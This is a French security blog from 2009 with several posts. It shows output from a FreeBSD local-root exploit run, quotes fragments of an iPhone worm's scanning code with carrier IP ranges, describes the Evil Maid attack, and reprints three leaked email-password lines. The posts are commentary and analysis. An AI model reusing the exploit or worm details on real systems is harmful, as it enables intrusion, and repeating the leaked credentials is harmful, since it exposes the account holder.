mardi 1 décembre 2009

Old school exploit

Je parle là de l'exploit permettant d'exploiter une non-vérification de valeur de retour dans le RTLD de FreeBSD (dans ses versions récentes), et qui mène à une élévation de privilèges lorsqu'il fonctionne.
Je ne pensais pas revoir de failles de ce style de mon vivant. Certaines, par le passé, ont été assez violentes, mais dans mes souvenirs, assez rares. Eh oui, on peut le dire, cette faille fait très "90's".
Sur son (super) blog, xorl explique assez clairement le pourquoi du comment de la faille. Et pour ceux qui ne comprennent pas le post de xorl, un patch temporaire (à utiliser à ses risques et périls) est disponible. Il s'agit d'un patch assez violent qui se contente d'essayer de désactiver les variables d'environnement qui doivent l'être (lorsqu'un binaire suid-root est exécuté), et qui s'il n'y arrive pas, bloque l'exécution du binaire. Un patch plus abouti fera un peu d'assainissement de l'environnement je pense (en désactivant pour de bon les variables d'environnement comme LD_PRELOAD)
En tout cas, sur mon FreeBSD 7.2, l'exploit fonctionne très bien :-) (il ne fonctionne donc pas que sur FreeBSD 8.0)
freebsd% sh sploit.sh
env env.c program.c program.o sploit.sh w00t.so.1.0 FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# id; uname -sr
uid=1001(meik) gid=1001(meik) euid=0(root) groups=1001(meik),0(wheel)
FreeBSD 7.2-RELEASE
Edit: Il y a également un exploit de stealth (Sebastian Krahmer), blindé d'explications, et qui à priori date d'il y a un petit moment.

lundi 23 novembre 2009

Fedora 12 et séparation des privilèges

Un bien bel exemple, assez représentatif du concept de "en voulant simplifier la vie à l'utilisateur, on réduit le niveau global de sécurité d'un système".

En gros, sans entrer trop dans les détails (les posts sur la mailing list, et la "wave" sur Google Wave, liés à ce problème, seront plus précis et plus instructifs), tout utilisateur sur le système peut installer n'importe quel package signé sans avoir à donner de mot de passe root (bon, après tout, sur une distribution Ubuntu, on utilise sudo et on donne le mot de passe de l'utilisateur connecté pour installer des packages). Certains peuvent se demander où est le problème. Il est là:

The default configuration of PackageKitinFedora 12 permits non-root users to install signed rpm packages from configured yum repositories. This creates a number of potential security problems including the possibility to:

1) Execute a remote-root exploit by exploiting a networked client such as firefox, Adobe flash, pidgin, xchat, etc. to obtain a remote user shell, and then installing a signed package from a configured repository which contains a local-user to root privilegeescalation vulnerability to gain root.

2) Similar to #1 above, but downloading a signed rpm from a previous OS release that has a known user-to-root shell vulnerability, and doing a local install.

3) Similar to #1 above, only doing a denial of service attack by installing a massive number of applications (in one massive transaction, or many smaller ones), and possibly tying up a large amount of network bandwidth, spiking the system CPU load, causing an out of memory condition, etc.

Au final, après un long troll (dont j'ai pris connaissance en lisant dailydave), une décision importante a été prise et annoncée par le type qui maintient le package responsable de ce léger défaut:

"After more discussion and thought, though, the package maintainers have posted to the fedora-devel-list mailing list agreeing to provide an update to Fedora 12's PackageKit. The update will require local console users to enter the root password to install new software packages."

A part ça, sans transition, Google Wave c'est rigolo 5 minutes, mais je pense qu'une majorité de gens ne savent pas encore trop à quoi ça peut leur servir. J'aurai peut-être quelques invitations à refiler d'ici quelque temps. Pour le moment, à part ce qui peut s'apparenter à un échange de "mails" (qui s'appellent des "waves" là dedans), et un test de twitter-via-gwave, je n'ai pas fait grand chose. Par contre, il faudra envisager les plugins permettant de chiffrer/déchiffrer ce qu'on envoie sur wave :-)

mardi 10 novembre 2009

le worm de l'iphone

Fatalement, fallait bien que ça arrive, un (nouveau) worm sur un téléphone mobile; et pas n'importe lequel: l'iPhone d'Apple. Alors que Mme Michu se rassure, seuls les iPhones dits "jailbreakés" sont concernés (il s'agit des iPhones dont l'utilisateur a fait tomber la protection contre l'exécution des exécutables par signature numérique, en gros [j'ai grossièrement résumé]).
Le code était public jusqu'à récemment, mais il semblerait que ça ne soit plus le cas; Mais par chance, il est encore disponible à de nombreux endroits.
Alors dans les médias, on nous présente toujours les développeurs de virus et autres worms comme étant des petits génies de la programmation; ce n'est clairement pas ce que je pense en lisant le code source de ce worm.
syslog(LOG_DEBUG, "Lannnnn");
scanner(lanRanges);
syslog(LOG_DEBUG, "VODAPHONE");
scanner(vodRanges1);
scanner(vodRanges2);
scanner(vodRanges3);
syslog(LOG_DEBUG, "OPTUSSSS");
scanner(optRanges1);
scanner(optRanges2);
scanner(optRanges3);
scanner(optRanges4);
scanner(optRanges5);
scanner(optRanges6);
syslog(LOG_DEBUG, "Telstra");
scanner(telRanges);
Vous en conviendrez aisément, ce code fait mal aux yeux. Et ensuite, sa série de variables "optRangesX", "vodRangesX", il les a définies plus haut:
char *locRanges = getAddrRange();
char *lanRanges = "192.168.0.0-192.168.255.255"; // #172.16.0.0-172.31.255.255 Ehh who uses it
char *vodRanges1 = "202.81.64.0-202.81.79.255";
char *vodRanges2 = "23.98.128.0-123.98.143.255";
char *vodRanges3 = "120.16.0.0-120.23.255.255";
char *optRanges1 = "114.72.0.0-114.75.255.255";
char *optRanges2 = "203.2.75.0-203.2.75.255";
char *optRanges3 = "210.49.0.0-210.49.255.255";
char *optRanges4 = "203.17.140.0-203.17.140.255";
char *optRanges5 = "203.17.138.0-203.17.138.255";
char *optRanges6 = "211.28.0.0-211.31.255.255";
char *telRanges = "58.160.0.0-58.175.255.25";
//char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG
Alors vous aurez noté des trucs sympa, comme le 192.168.255.255, qui est utilisé comme borne haute dans la rangée d'adresses IP à scanner sur un LAN, ce qui n'est pas une obligation - en 192.168, c'est du /24 par défaut - ce qui fait que son programme a une chance non négligeable de tenter un nombre incroyable de connexions vers des IP ne faisant pas partie du même réseau que l'iPhone. Je ne sais pas ce que ça donne en terme de consommation CPU, mais ça doit pas être très optimal tout ça. On passera sur les adresses de broadcast aussi. Sa remarque sur le fait que personne n'utilise les IP privées en 172.16.x.y aussi. Puis il oublie les IP en 10.x.y.z (on passera sur les autres, qui sont encore plus rarement utilisées comme les 4-5.x.y.z, utilisées par exemple par hamachi :-)
Il aurait pu utiliser un ioctl() pour récupérer ces paramètres, afin de rendre son code fonctionnel dans les configurations réseau "moins répandues", et surtout optimiser la métode de propagation.
Revenons-en à nos moutons: la série d'appels à la fonction "scanner", qui aurait quand même pu être méchament simplifiée, par exemple en définissant une structure (en C) avec un entier comme "index", et une chaine de caractères qui contienne sa rangée d'adresses IP; ensuite, il n'avait plus qu'à itérer en incrémentant son index, et il se retrouvait avec un code sensiblement plus extensible (supposons qu'il veuille rajouter une rangée d'adresses IP pour un opérateur: il se retrouve à devoir ajouter un nouveau "optRangesX" correspondant à cet opérateur, ainsi qu'un ou plusieurs appels à "scanner()" en fonction du nombre de rangées d'adresses IP de l'opérateur; pour un code de quelques lignes comme celui -ci ça passe encore: pour un projet de grande envergure, je ne ferais pas appel à ce type).
J'ai aussi une petite pensée pour ses fonctions "runCommand" et "prunCommand", qui sont quasiment identiques, la différence étant que la première renvoie 0 si l'iPhone est vulnérable (comprendre: si l'utilisateur de l'iPhone n'a pas changé le mot de passe root).
En fait ça me fait plus penser à du code qu'un développeur PHP de 15 ans aurait pu pondre, et ça, même le commentaire en header du fichier ne me fera pas penser le contraire:
// This code is CLOSED source.
// And very hacky, i just needed it to work.
Je ne vais pas m'étendre plus sur le code source de ce truc. Sur Zataz, la question est posée sur "comment il sélectionne ses victimes", il y a plusieurs réponses, dont deux données au dessus:
- les ranges d'IP de quelques opérateurs;
- les IP du réseau local de l'iPhone, si une connexion wifi est active;
- des IP générées aléatoirement.
Dans tous les cas, le ver essaie de se connecter via ssh à chacune de ces adresses IP en essayant le mot de passe par défaut d'un iPhone, et en tentant l'exécution d'une commande ("echo 99"). Si cette commande reussit, la fonction "infectHost" est appelée, le fond d'écran de l'utilisateur est supprimé, et remplacé par un autre, puis le worm s'installe dans les scripts de démarrage, afin d'être lancé à chaque reboot de l'iPhone.
En plus d'avoir jailbreaké son iPhone et laissé le mot de passe root par défaut (même si 90% des stats sont inventées, je pense que 99% des utilisateurs d'iPhone jailbreakés [qui doivent être une minorité] ont laissé le pass root sans le changer), il faut que le port ssh de l'iPhone soit accessible depuis le reste d'internet; je ne sais pas ce que ça donne en france par contre à ce niveau là.
Il est maintenant temps de retourner à l'écoute en boucle du clip du moment.

vendredi 6 novembre 2009

Le bon vieux temps

Ce "DailyWTF" m'a bien fait rire. Surtout ce passage:
After 15 minutes of “Hmmm” and “That’s strange” from the other end of the phone, the support tech finally said “I think this is going to take a while – could you disconnect and well, just not do that thing you’re doing anymore? We’ll continue to investigate though – thanks for the tip!”


mercredi 4 novembre 2009

Idées de gens (crypto)

Un truc dont les médias vont probablement nous parler dans les jours à venir, c'est l'utilisation du "cloud computing" pour profiter d'une puissance de calcul très importante afin de casser des mots de passe. Un post récent sur slashdot nous envoie même sur un article racontant l'application de ce principe au cassage du mot de passe protégeant une archive au format PGPZIP.
L'article est très bien fait, et je ne pense pas m'attarder dessus, ou peut-être plus tard, style un jour de pluie.
C'est plutot ce que je peux lire dans les commentaires sur slashdot qui sont assez intéressants. Certains donnent un point de vue, discutable ou non. D'autres vont clairement plus loin dans le délire "comment chiffrer ses données confidentielles sans danger en cas de fuite de la clé ?", comme celui ci:
The best solution (if you are dealing with a desktop system) is to have the pass-phrase and keys but also have a small GPS module. If the usb key is not close to where it should be (with a fairly big margin for the fact that cheap GPS modules arent exactly accurate) it would erase the pass-phrase
If they try to force you to hand over your password (e.g. UK RIP act), you just hand it over (to the guys who seized your computer and are now trying to use it somewhere else other than the required GPS location) and boom, the data is gone forever.
If you need to move house, just log in from the old house and reset the GPS then when you get to the new house, log in and put in the new coordinates.
C'est assez extrème, mais ça pourrait être une idée intéressante. Finalement c'est aussi de l'authentification forte.
Puisqu'on en est à la crypto, pensons à la loi Création et Internet (alias 'HADOPI') qui va très certainement signifier la généralisation de l'usage d'outils de crypto en France. Et même si ce n'est pas leur généralisation, ils seront quand même nettement plus utilisés qu'actuellement.
Toujours en crypto, Ubuntu 9.10 propose maintenant de chiffrer le répertoire perso des utilisateurs à l'aide d'eCryptFS, et ça c'est très bien.

vendredi 30 octobre 2009

review "Hacking: The Next Generation"



  1. Chapter 1 Intelligence Gathering: Peering Through the Windows to Your Organization

    1. Physical Security Engineering

    2. Google Earth

    3. Social Engineering Call Centers

    4. Search Engine Hacking

    5. Leveraging Social Networks

    6. Tracking Employees

    7. What Information Is Important?

    8. Summary

  2. Chapter 2 Inside-Out Attacks: The Attacker Is the Insider

    1. Man on the Inside

    2. Cross-Site Scripting (XSS)

    3. Cross-Site Request Forgery (CSRF)

    4. Content Ownership

    5. Advanced Content Ownership Using GIFARs

    6. Stealing Files from the Filesystem

    7. Summary

  3. Chapter 3 The Way It Works: There Is No Patch

    1. Exploiting Telnet and FTP

    2. Abusing SMTP

    3. Abusing ARP

    4. Summary

  4. Chapter 4 Blended Threats: When Applications Exploit Each Other

    1. Application Protocol Handlers

    2. Blended Attacks

    3. Finding Blended Threats

    4. Summary

  5. Chapter 5 Cloud Insecurity: Sharing the Cloud with Your Enemy

    1. What Changes in the Cloud

    2. Attacks Against the Cloud

    3. Summary

  6. Chapter 6 Abusing Mobile Devices: Targeting Your Mobile Workforce

    1. Targeting Your Mobile Workforce

    2. Summary

  7. Chapter 7 Infiltrating the Phishing Underground: Learning from Online Criminals?

    1. The Fresh Phish Is in the Tank

    2. Examining the Phishers

    3. The Loot

    4. Infiltrating the Underground

    5. Summary

  8. Chapter 8 Influencing Your Victims: Do What We Tell You, Please

    1. The Calendar Is a Gold Mine

    2. Social Identities

    3. Hacking the Psyche

    4. Summary

  9. Chapter 9 Hacking Executives: Can Your CEO Spot a Targeted Attack?

    1. Fully Targeted Attacks Versus Opportunistic Attacks

    2. Motives

    3. Information Gathering

    4. Attack Scenarios

    5. Summary

  10. Chapter 10 Case Studies: Different Perspectives

    1. The Disgruntled Employee

    2. The Silver Bullet

    3. Summary

J'ai lu une partie de ce bouquin (pas tout ne m'intéressait dans son contenu). Ce n'est pas du très haut niveau, mais ce qui est décrit dans ce livre s'applique finalement aussi bien pour des entreprises, que pour des particuliers (après tout, le social engineering a toujours très bien fonctionné).
Quand je dis que ce n'est pas du très haut niveau, j'entends par là au niveau technique. De toutes façons, dans une majorité de cas, pour réussir un pentest, il n'y a pas besoin de savoir faire du ret-into-libc (oui bon ok il y a largement mieux que ça, elle est vieille la blague (sortie des tréfonds d'IRC il y a longtemps), moi aussi) tous les matins au petit déjeuner.
Quelques études de cas sont données à la fin, pour la mise en application de la plupart des "techniques" décrites dans le bouquin, afin d'expliquer en gros comment le gros vilain hacker fait pour nuire. Ce n'est pas encore comparable à la série de bouquins "stealing the network", mais ça reste très intéressant.
Ce livre n'est pas un "must", mais chacun y trouvera son intérêt.

vendredi 16 octobre 2009

L'attaque de la femme de ménage malveillante

"Evil Maid", c'est le nom d'une petite backdoor de l'équipe d'Invisible Things Labs, qui permet de récupérer le mot de passe d'un système dont le disque dur a été entièrement chiffré à l'aide de TrueCrypt.
Je ne vais pas revenir sur la manière de l'employer, Joanna l'explique sur son blog. Pour le fonctionnement, je vous renvoie au code source qui est simplissime.
Alors vous aussi, comme moi, vous vous dites qu'il suffit de protéger par un mot de passe l'accès au BIOS et au menu de boot afin d'empêcher une personne non autorisée à booter depuis l'USB, mais en réalité, rien n'empêche la personne souhaitant infecter le système de retirer le disque dur, le brancher sur un autre ordinateur et l'infecter depuis ce dernier. Mais cela fait pas mal de contraintes.

Q: I've disabled boot from USB in BIOS and my BIOS is password protected, am I protected against EM?
No. Taking out your HDD, hooking it up to a USB enclosure case and later installing it back to your laptop increases the attack time by some 5-15 minutes at most. A maid has to carry her own laptop to do this though.
Mais le tout étant stocké (pour le moment) sur le disque, il me semble suffisament facile de détecter cette backdoor et ses cochonneries laissées sur le disque. Plus tard, cela pourra être envoyé via le réseau (mais ça pourra être détecté par un gros parano [mais pas suffisament parano pour se faire infecter])

Pour sa version actuelle (qui n'est qu'un proof of concept), un moyen de feinter cette backdoor si on soupçonne sa présence, c'est de donner une mauvaise passphrase juste avant de partir en laissant son PC sans surveillance, dans la mesure où elle ne sauvegarde que la dernière passphrase saisie, partant du principe qu'elle est correcte:
The current implementation of Evil Maid always stores the last passphrase entered, assuming this is the correct one, in case the user entered the passphrase incorrectly at earlier attempts.
Mais bon, c'est juste la méthode du pauvre pour le moment, (jusqu'à ce qu'un workaround soit trouvé) et ça n'empêche personne de venir infecter la machine. Il faut soit ne pas laisser son PC sans surveillance, soit l'enfermer dans un coffre fort ou une malette protégée, l'un ou l'autre devant être inviolable.
Voilà j'ai du éclater mon quota de conneries pour la semaine dans ce post. Fort heureusement c'est le week-end dans quelques heures. Je vais retourner à mon écoute du tout dernier album de Rammstein qui vient de sortir. J'aurais peut-être mieux fait d'écrire une review de cet album, au lieu de disserter sur "Evil Maid" :-)

lundi 12 octobre 2009

Musée des Arts&Métiers

Ce week-end j'ai visité le Musée des Arts et Métiers (station Arts et Métiers). Au cours de la visite, je suis tombé nez à nez avec un Cray 2:

J'avais déjà vu un spécimen similaire quelques mois auparavant au Musée de l'Informatique, en haut de l'arche de la défense.

Ce qui est épatant, c'est sa puissance pour l'époque: 243MHz en 1985. Le grand public n'aura accès à une telle fréquence qu'une douzaine d'années plus tard avec le Pentium II. Bien sûr, tout n'est pas comparable quant à l'architecture d'un Cray et d'un ordinateur de bureau.
Autre star, un des "Avions" de Clément Ader, pionier de l'aviation:

Bien évidemment, je suis passé devant le "Fardier" de Cugnot, premier véhicule automobile de l'histoire (la qualité d'image est à chier...)

Le "clou" de la visite était bien évidemment le Pendule de Foucault, qui était bien sûr l'objet de ma visite (étant en pleine lecture du Pendule de Foucault, d'Umberto Eco) qui se trouve juste au niveau de la fin du parcours.
En somme, un excellent musée, à visiter lorsque cela n'a pas déjà été fait.

Sinon, hier, je me suis rendu par curiosité à la Journée de la Sécurité Intérieure, j'ai pu apercevoir le Kärcher de la Police!


vendredi 9 octobre 2009

Viva HADOPI


Edit: Mars 2013
J'avais oublié cet article ! Il semblerait qu'utiliser StreamRipper sur une webradio soit "légal" (ou du moins, toléré, au même titre que l'enregistrement sur k7 audio à la radio, ou k7 vidéo à la télé/magnétoscope, à partir du moment où c'est pour un usage dans le cercle familial)


Non, je ne suis clairement pas un fan d'HADOPI. Loin de là en fait. Je ne vais pas troller sur cette "haute autorité". En réalité je me posais juste la question suivante:
- hadopi: quid des web-radios légales ?
Par web-radio légale, j'entends "webradio qui a payé sa taxe à la sacem pour avoir le droit de streamer de la musique" (via shoutcast par exemple). Je sais, c'est un très gros racourci, mais en ce moment j'en prends beaucoup. Un exemple de webradio légale à mes yeux: Frequence3 (Qui au passage propose un stream spécial années 90, que j'écoute volontiers pour me replonger dans mes jeunes années :p)

Pour ne pas toujours écouter la même chose au niveau musical, j'écoute parfois des webradios, comme "GothMetal dot net" (chacun ses gouts, comme on disait dans le bon vieux temps). Lorsqu'un morceau me plait, je fonce [l'acheter/le télécharger] (rayez la mention inutile). Malheureusement, il arrive que certains morceaux, ou groupes, ne soient tout simplement pas trouvables. Comment faire pour faire écouter à mes oreilles, une nouvelle fois, cette douce mélodie qui les a bercées le temps d'une chanson ? (rigolez pas, je n'écoute pas que des trucs enregistrés dans une cave ou un garage hein :))
* Vous me direz, une possibilité est de contacter l'artiste et lui demander un album dédicacé (surtout si le chanteur est en fait une chanteuse, bien sûr, histoire d'avoir une photo à accrocher dans le salon). Mais ça n'est pas toujours possible, même si ça reste à mon sens un très bon moyen.
* L'autre possibilité est d'enregistrer le flux de la webradio. Alors on m'a parlé (vive IRC pour ça) de StreamRipper tout à l'heure. Cet outil est vraiment démentiel, il est ultra simpliste d'utilisation, et remplit parfaitement son rôle.

Cela nous mène donc à ma question: est-ce qu'enregistrer des mp3 de cette manière est illégal ? Il y a quelques années, l'équivalent de cette méthode revenait à enregistrer sur cassette ce qui passait à la radio.
Le flux streamé est légal (autant que peuvent l'être NRJ, Fun Radio ou les autres), est-ce-que les mp3 produits par streamripper le seront eux aussi ? S'ils ne le sont pas, comment la HADOPI compte-t'elle s'y prendre pour remettre ces violeurs du droit d'auteur dans le droit chemin ?

jeudi 8 octobre 2009

phishing / botnet ... allez savoir

L'actualité sécurité de ces derniers temps a été assez peu fournie, mis à part la faille dans SMBv2 dont il a été largement question sur des tonnes et des tonnes de blogs, et un début de troll/réflection sur la définition d'exploit public, et l'impact que tout cela a sur des sites comme OSVDB et la gestion du risque[1] (et ça a encore continué cette nuit sur la mailing list Daily Dave, et je n'ai pas encore lu tout ça). Comme je le disais, des tas de sites et de gens plus concernés que je ne le suis en ont déjà parlé, m'y mettre à mon tour n'apprendrait rien du tout au lecteur que vous-êtes, et ne ferait qu'augmenter la probabilité (déjà suffisament haute) que je dise une connerie :-)

Alors je pensais me rabattre sur un truc plus récent, à savoir la mise à disposition (qui a parlé de "fuite" ? :)) d'énormes quantités d'identifiants, avec leurs mots de passe, tout d'abord de Microsoft Live (live, hotmail, msn, je ne sais même plus comment ça doit s'appeller ce truc là), puis ensuite google, yahoo, ...
News0ft nous a proposé sa vision des conséquences que l'on peut tirer vis à vis de ce que l'on peut constater à la vue de tous ces mots de passe. Des sites d'information généralistes ont juste proposé une analyse des mots de passe. Ce que l'on peut retenir de cet incident, c'est que tant que les gens utiliseront des mots de passe aussi triviaux que "12345" ou "love", la situation en terme de sécurité n'évoluera pas, du moins, pas dans le bon sens. Finalement, "Hackers" (le film de 95 avec Angelina Jolie) c'est pas si débile que ça :) (je pense aux scènes où le guru hacker dit que tout ce qu'il y a à savoir, c'est que les mots de passe les plus utilisés sont "love", "sex", "secret" et "god")

Officiellement, tous ces credentials ont été obtenus via une "massive campagne de phishing" (vous savez, le truc où on vous envoie un mail disant que pour une raison de sécurité vous devez confirmer votre mot de passe, ou votre numéro de carte de crédit et qui en fait est hébergé sur un site dans un pays assez lointain). J'ai lu quelque part qu'un chercheur en sécurité doute fortement de cette hypothèse et pense qu'il s'agit plutôt d'un botnet qui aurait récolté tous ces identifiants. Voici ses arguments:

Landesman based her speculation on an accidental find in August of a cache of usernames and passwords, including those from Windows Live ID, the umbrella log-on service that Microsoft offers users to access Hotmail, Messenger and a slew of other online services.

That cache contained about 5,000 Windows Live ID username/password combinations, said Landesman, who found the trove while researching a new piece of malware. "From the organization [of that cache] and what the data looked like in raw form, I think it's more likely that this latest was the result of keylogging or data theft, not phishing," Landesman said.

En gros, une référence à une anecdote remontant au mois d'aout, où une liste de 5000 comptes windows live ont été découverts sur un site de haxorz, avec leurs mots de passe, le tout organisé sous une forme assez brute. Ouais ok cool, mais ça ne prouve rien ça.
Sur un autre site que je ne retrouve malheureusement plus, il était fait référence à cette même ancienne liste, contenant également une URL et quelques autres identifiants, style FTP, qui auraient pu faire penser à des données capturées par un keylogger.
L'idée n'est pas totalement absurde cependant. Le second argument l'est par contre:
"Phishing is not generally a wildly successful scam, it doesn't have a big return. People are more savvy about phishing than we give them credit for."
Je préfèrerais des chiffres pour appuyer cette idée. Moi je n'en ai pas non plus pour la réfuter. Je pars juste du principe que si ça se fait encore beaucoup (le phishing), c'est que le taux de "retour" (données récoltées) reste suffisament attractif.
Après tout, ce n'est peut-être qu'un peu de pub pour ScanSafe, pour qui travaille Mary Landesman, qui vend des produits anti malware. (fin du troll)

Alors je n'ai pas trop analysé cette liste (trouvable en deux minutes sur google, en utilisant quelques mots clés présents sur un des nombreux articles analysant cet incident), mais de ce que j'ai pu voir, il y a au moins un identifiant qui apparait plusieurs fois, avec un oubli de lettre à chaque fois:
blanco_395@hotmail.com:blaco
blanco_395@hotmail.com:blasco
blanco_395@hotmail.co:blasco
Je n'ai jamais analysé de très près le fonctionnement interne d'un botnet, tel que sa manière de récolter un mot de passe d'accès à un webmail, mais si j'avais à développer ça, je pense que j'irais taper dans les fichiers profil du navigateur (les fichiers signonsX.txt et keysX.db de firefox). Sans vouloir faire de psychologie à deux balles de l'utilisateur lambda d'internet, je pense que le type qui utilise "12345" comme mot de passe l'a aussi enregistré dans son navigateur (en plus d'utiliser ce même mot de passe partout).
Sans vouloir glorifier les développeurs de botnet (sans qui, pas mal d'entre nous n'auraient pas un boulot aussi fascinant que celui que nous avons, ah ah), j'ose espérer qu'ils ont recours à des méthodes "efficaces" pour récolter des mots de passe, et non pas des techniques hasardeuses qui consistent à lire le mot de passe saisi à chaque fois que l'utilisateur se loggue, en prenant le risque d'enregistrer des mots de passe erronés.
Alors tout cela me rappelle une anecdote il y a quelques années, à l'époque où j'ai découvert le côté obscur de The Internets (ça nous ramène vers le milieu de l'an 2000 quoi). Un "kit" de phishing caramail circulait. Oui, Caramail (rigolez pas :)). Le mot phishing n'existait pas à l'époque. Ce n'était pas un kit à proprement parler, mais un script CGI hébergé quelque part, avec un formulaire pour le gros haxor lui demandant deux adresses: la sienne et celle de la victime. En validant le formulaire, un mail était envoyé à la victime, se faisant passer pour un service de caramail incitant, pour une sombre raison, la victime à saisir ses identifiants dans un mail en html (eh ouais). Impossible de saisir un mot de passe erroné, le script vérifiait (en tentant de se connecter j'imagine) si les identifiants étaient bons ou pas, et la victime se mangeait un message d'erreur si elle osait mal remplir son formulaire. Le truc fonctionnait en tout cas. Ensuite, n'ayant pas analysé de kit de phishing récemment, je ne sais pas du tout s'ils font encore cela (je vous entends d'ici me dire d'aller en télécharger et en analyser un, au lieu d'écrire des suppositions bidon issues d'expériences douteuses avec caramail il y a 10 ans, mais en fait je n'en ferai rien).

Au final on en sait rien, si c'est issu de phishing ou d'un botnet. Moi je pencherais plutôt pour du phishing, mais je pense surtout que les gens trollent sur le mauvais truc, au lieu de troller sur la qualité des mots de passe utilisés, qui, botnet ou phishing, est un problème bien pire (tant qu'on obligera pas les gens à utiliser des mots de passe plus complexes, ou des méthodes d'authentification forte (non, je ne vais pas troller là dessus, pas ce soir)) l'utilisateur lambda représentera le plus gros danger (pour lui même, ou son entreprise)).

Fin du troll pour aujourd'hui. Je sais que j'ai pris pas mal de racourcis que je n'aurais probablement pas du prendre lors de la rédaction de ce truc, mais je pense que chacun s'y retrouvera.

Sans transition, je me suis remis à la musique (j'ai pris un clavier-maitre MIDI), c'est impressionnant comme LMMS peut-être performant pour ce que je lui demande de faire (restituer ce que je joue, le modifier et l'enregistrer). En tout cas, pour un logiciel libre. Je ne balancerai probablement pas ce que je joue sur ce blog, mais si des gens sont intéressés, il suffira de me demander par mail.

[1] La derniere fois que j'ai sorti "gestion du risque" lors d'un troll avec des collègues, on m'a dit que je m'engageais dans la mauvaise direction.

vendredi 25 septembre 2009

Quand même les auteurs ne se respectent pas entre eux

Yesterday it was revealed that, despite her calls for tougher anti-piracy legislation, Lily Allen herself created illicit mixtapes full of copyrighted music and made them available to the public. Today, after having rationalized why it is okay for her to pirate music, she killed her pro-copyright blog because “the abuse was getting too much.”
FAIL.

Se justifier en disant qu'elle a fait ça avant que ses revenus ne dépendent de l'industrie musicale est un peu débile de sa part, dans la mesure où plus récemment que ça, ce mois-ci en fait, elle était encore à pomper du contenu ne lui appartenant pas.

Comme dit dans l'article, il y a 5 ans, elle n'était guère différente des gens qui téléchargent "illégalement" de la musique de nos jours.

jeudi 24 septembre 2009

Ma vision sur l'affaire Zataz

J'imagine que les gens qui lisent ce blog savent que Zataz est en grand danger. (c'est une manière de reprendre sa phrase disant qu'il en a "plein le cul"). On peut ne carrément pas aimer zataz, il n'empêche que son histoire est quand même pas super amusante pour lui.

On pourrait se demander comment se serait déroulé un procès opposant la société accusatrice, à un client mécontent de voir ses données personnelles accessibles sur Internet. Dans mes souvenirs, la société peut effectivement être poursuivie pour non sécurisation de données personnelles (la CNIL est là pour ça après tout). Puis il y a quelques années, Kitetoa -vs- TATI avait donné un grand coup de pied là dedans.

Revenons à Zataz. Un des bugs de cette affaire, c'est qu'on reproche à Damien Bancal d'avoir hacké le système, et d'avoir utilisé un moteur de recherche particulier pour ça. Heu, soit. Mais quel moteur ? Parce que Google peut très bien servir à trouver des données sensibles sur internet. Le site de Johnny Long en est la preuve. Des moteurs de recherche FTP existent aussi.
Si maintenant il suffit d'utiliser Google pour être poursuivi et accusé de "hacking", on risque de ne plus trop avancer dans notre chère société. Bon, ensuite les exemples donnés sur le site de Johnny nécessitent de faire des recherches avec des mots clés bien précis. Mais il peut très bien arriver que des données se retrouvent sur internet alors qu'elles ne le devraient pas et/ou qu'elles soient indexées par un moteur de recherche alors qu'elles ne le devraient pas (ensuite, ceux pour qui sécuriser ces données consiste à avoir un robots.txt empechant les moteurs de les référencer, je crois que même Darwin ne les avait pas prévus dans sa théorie de l'évolution)
Un autre truc intéressant dans cette affaire (et je crois que c'est surtout ça l'élément central), c'est la mauvaise foi de la société. Dans une des ordonances de référé (disponible sur internet), on peut lire le passage suivant:
Elle conteste le fait que la simple utilisation d’un compte d’utilisateur "anonymous" a pu être utilisé pour accéder au serveur, puisque celui-ci a su écarter un grand nombre de tentative d’accès par ce moyen, et soutient que l’analyse des fichiers "logs" révèle que d’autres manipulations que la simple utilisation du moteur cité ont été nécessaires ; elle ne veut pour preuve le fait qu’une tentative de cet ordre ayant échoué le 28 septembre 2008, c’est par l’utilisation du mot de passe correspondant à l’adresse électronique du navigateur que le premier accès frauduleux a été possible le 29 septembre.
Heu ok. Alors on me reprochera peut-être mon parcours littéraire, et le fait que j'aime parfois un peu jouer sur les mots, mais je vais quand même me lancer, on sait jamais, des gens pourraient être d'accord avec mon interprétation (et on ira monter une secte):
- il y avait bien un accès "anonymous", puisque celui ci a déjà, par le passé, déjoué des tentatives d'accès.
Ouais, cool. Le truc c'est que je ne vois absolument pas comment il a pu déjouer des tentatives d'accès. On sait qu'on parle de ftp, vu que c'est ce serveur ftp contenant des données sensibles qui est au centre de ce bordel (cf. ordonance citée ci dessus). Lisons donc la RFC dédiée au "FTP Anonyme" (anonymous ftp, en anglais):
   Traditionally, this special anonymous user account accepts any string
   as a password, although it is common to use either the password
"guest" or one's electronic mail (e-mail) address.  Some archive
   sites now explicitly ask for the user's e-mail address and will not
   allow login with the "guest" password.  Providing an e-mail address
is a courtesy that allows archive site operators to get some idea of
who is using their services.
Bon, donc en gros, n'importe quelle chaine de caractères (string) peut faire office de mot de passe pur faire du ftp anonyme, mais certains serveurs peuvent refuser la connexion anonyme si le mot de passe est "guest". Bon, pour ce détail de "guest" je ne connaissais pas, je l'avoue. Quand je fais du ftp anonyme, je mets un mot de passe bidon en général, "a" dans cet exemple:
Connected to ftp.ig-iit.com.
220 (vsFTPd 2.1.0)
Name (ftp.epitech.net:meik): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Ok on voit pas que je tape le mot de passe "a", mais vous n'avez qu'à me croire, ou faire le test vous mêmes :p

Un autre point à soulever, c'est que le moteur de recherche qui a indexé le contenu du serveur ftp a du laisser des traces quelque part dans les logs de connexion. Et au passage, on apprend que ne pas utiliser google est un comportement déviant:
S’appuyant ensuite sur un rapport complémentaire en date du 13 janvier 2009 de l’expert, elle fait valoir que le moteur de recherche évoqué n’est pas un moteur "grand public", et relève que Damien B. prétend n’avoir utilisé le navigateur internet qu’après utilisation de ce moteur professionnel, caractérisant la réalisation préalable d’actes préparatoires à la recherche délibérée de failles de sécurité, et à son sens le caractère frauduleux de l’accès.
